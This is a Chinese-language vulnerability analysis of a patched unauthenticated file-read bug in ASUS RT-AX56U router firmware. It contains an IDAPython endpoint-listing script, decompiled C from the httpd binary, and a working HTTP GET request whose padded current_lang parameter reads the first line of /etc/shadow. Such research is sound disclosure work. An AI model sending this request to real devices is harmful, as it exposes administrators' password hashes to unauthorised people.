RT-AX56U information disclosure vulnerability
2021 年 10 月 7 日,ASUS 发布了针对 RT-AX56U 等路由器的固件更新,其中修复了一个敏感信息泄露漏洞,本文对此漏洞简单分析。
固件下载链接:RT-AX56U|无线路由器|ASUS 中国 ,受影响固件为 3.0.0.4.386.44266 及更早版本。
我们以 3.0.0.4.386.44266 为例进行分析,环境准备等操作可参考前文 。
目标二进制程序:/usr/sbin/httpd,这个程序负责解析设备收到的 web 请求。
Asus 在其路由器中使用了一些开源组件,为了遵守 GPL 开源协议,Asus 曾在其官方网站上公开了相关源代码,后续的梅林固件就是基于这份源代码进行开发,我们可以参考梅林 的源代码辅助分析。
通过源代码在 IDA 中定位到 sub_19644 函数,此函数用于解析用户传入的 HTTP 请求,这个函数逻辑较多,但其基本解析流程为:收到请求,进行简单的逐行解析,然后获取 URI 字段,过滤掉可能的路径穿越字符串,之后分别匹配三个 URI 对照表,判断当前请求的 URI 是否需要身份验证,以及获取对应接口的 handler 函数。
我们可以在 mime_handlers 全局结构体中找到相关接口定义,根据源代码相关信息,利用以下 IDAPython 脚本提取所有无需身份验证的接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def get_str (address ): _str = "" while 1 : _temp = Byte(address) address += 1 if _temp == 0 : break _str += chr (_temp) return _str def check_auth (address ): _address = address + 20 _tmp = Dword(_address) if _tmp == 0 : return True return False def get_handler (address ): _address = address + 16 _tmp = Dword(_address) return _tmp address = 0x0009BAC4 while 1 : _str = get_str(Dword(address)) _auth = check_auth(address) _handler = get_handler(address) if _auth == True : print (_str , hex (_handler)) address += 0x18 if Dword(address) < 0x70000 : break
分析接口逻辑,当访问 .htm 等静态资源时,会执行 sub_1C3B8 函数,代码片段1:
1 2 3 4 v5 = cgi_get_0("current_lang" , v78, v4); if ( !v5 ) v5 = v3; v70 = sub_1B420(v5, &unk_A13A0) == 0 ;
由于需要支持多语言,这段代码会尝试获取用户提交的 current_lang 参数,然后传入 sub_1B420 函数,代码片段2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 int __fastcall sub_1B420 (const char *current_lang, _DWORD *a2) { FILE *v3; int v4; signed int v5; int v6; unsigned __int8 *v7; unsigned __int8 *v8; int v9; unsigned __int8 *v10; int v11; int result; int v13; int v14; int i; int v16; unsigned __int8 *v17; char v18[16 ]; char ptr; if ( current_lang && *current_lang ) snprintf (v18, 0x10 u, "%s.dict" , current_lang); else strcpy (v18, "EN.dict" ); if ( strcmp (v18, byte_A0ABC) ) { sub_1B3D8(a2); while ( 1 ) { v3 = fopen(v18, "rb" ); if ( v3 ) break ; result = strcmp (v18, "EN.dict" ); if ( !result ) return result; strcpy (v18, "EN.dict" ); } snprintf (byte_A0ABC, 0xC u, "%s" , v18); memset (a2, 0 , 0x10 u); fseek(v3, 0 , 2 ); v4 = ftell(v3); v5 = v4 + 125 ; v6 = v4; printf ("dict_size %d\n" , v4 + 125 ); v7 = malloc (v5); a2[3 ] = v7; v8 = v7; fseek(v3, 0 , 0 ); fread(&ptr, 1u , 3u , v3); memset (a2[3 ], 0 , v5); fread(a2[3 ], 1u , v5, v3); v9 = v6 + 124 ; v10 = a2[3 ]; v11 = 0 ; while ( v9 + 1 > 0 ) { v14 = *v10++; v13 = v14; if ( v14 == 10 ) { ++v11; } else if ( !v13 ) { break ; } --v9; } a2[2 ] = malloc (4 * v11); printf ("dict_item %d\n" , v11); for ( i = 0 ; i != v11; ++i ) { *(a2[2 ] + 4 * i) = v8; v17 = v8; while ( 1 ) { v8 = v17; if ( v5 <= 0 ) break ; v16 = *v17++; if ( v16 == 10 ) { --v5; *v8++ = 0 ; break ; } if ( !v16 ) break ; --v5; } } *a2 = i; fclose(v3); } return 1 ; }
首先将 current_lang 拼接到变量 v18 中,这里使用的是 snprintf,长度 0x10,默认会以 .dict 结尾,然后根据文件路径打开对应文件,读取其中的内容作为基本语料。
如果用户提交一个长度刚好等于 15 字节的数据,那么 .dict 就会被冲洗掉,后面可以打开任意文件作为基本语料,当静态内容输出时,会将这里打开的文件内容输出。(但是只能输出第一行)
所以我们可以构造类似如下的请求
1 2 3 4 5 6 7 8 GET /error_page.htm?current_lang=/////etc/shadow HTTP/1.1 Host: 127.0.0.1 Connection: close Content-Length: 0 User-Agent: Mozilla/5.0 Referer: https://127.0.0.1/Main_Login.asp
当此请求发送到存在漏洞的设备之后,就可以泄露出管理员用户的密码信息